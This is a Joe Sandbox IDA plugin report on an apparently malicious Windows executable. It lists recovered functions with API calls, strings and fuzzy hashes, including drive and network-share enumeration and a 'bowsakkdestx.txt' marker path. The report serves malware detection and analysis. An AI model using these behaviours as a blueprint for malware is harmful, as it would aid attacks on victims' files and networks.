Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0
g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(?,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__get_sys_err_msg.LIBCMT ref: 004C5DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

phrase is too short, needs to be at least %d chars, xrefs: 00463070
Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
.\crypto\pem\pem_lib.c, xrefs: 00463097

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszTitle, xrefs: 0041BA9B
LPCWSTRszWindowClass, xrefs: 0041BAA0

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,?,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000,?,?), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Function 0043ACEB Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043ACEE
_memset.LIBCMT ref: 0043AD19
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,?,?,00000000,?), ref: 0043AD76
GetLastError.KERNEL32(?,?,00000000,?), ref: 0043AD92
_memset.LIBCMT ref: 0043ADA8

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Locale_memset$ByteCharErrorLastMultiUpdateUpdate::_Wide
String ID:
API String ID: 742067911-0
Opcode ID: d3d8bdbd0f91ce1f2c1441d5a3417d514f9a6198b0ac422b572c140bfb1cf56f
Instruction ID: c9ecf35b62825572b9c8e62b4d797814e3822faa64b6dd1b63504df10073b233
Opcode Fuzzy Hash: d3d8bdbd0f91ce1f2c1441d5a3417d514f9a6198b0ac422b572c140bfb1cf56f
Instruction Fuzzy Hash: D821F3306402159BDB219F92D884ABF3B66DF45716F48506BF8944AB81DB3C8C21CBAA

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(006C0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: AllocHeap_free_malloc
String ID:
API String ID: 2734353464-0
Opcode ID: ac30be484878ed1c1fbcd2781803b0d6d497061a6a5de6108b0294a208768cdb
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: ac30be484878ed1c1fbcd2781803b0d6d497061a6a5de6108b0294a208768cdb
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
DispatchMessageW.USER32(?), ref: 0041FE2B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

string too long, xrefs: 00417D36
invalid string position, xrefs: 00417D2C

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004141E4
_memmove.LIBCMT ref: 00414215

Strings

string too long, xrefs: 00414256
invalid string position, xrefs: 00414260

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
Opcode Fuzzy Hash: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD

Function 00425341 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 00425354

Strings

U, xrefs: 0042535D

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 96f9a77ca4cc4fe958c434aa827cb810c13d5acf0ea92317e974609e7887e837
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 6521C9717046286BEB10DAA5BC41BBB739CDB85750FD0416BFD08C6190EA79994046AD

Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AD72
_memset.LIBCMT ref: 0045AE15

Strings

C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14
.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,?), ref: 0040C5F6
RpcStringFreeA.RPCRT4(?), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

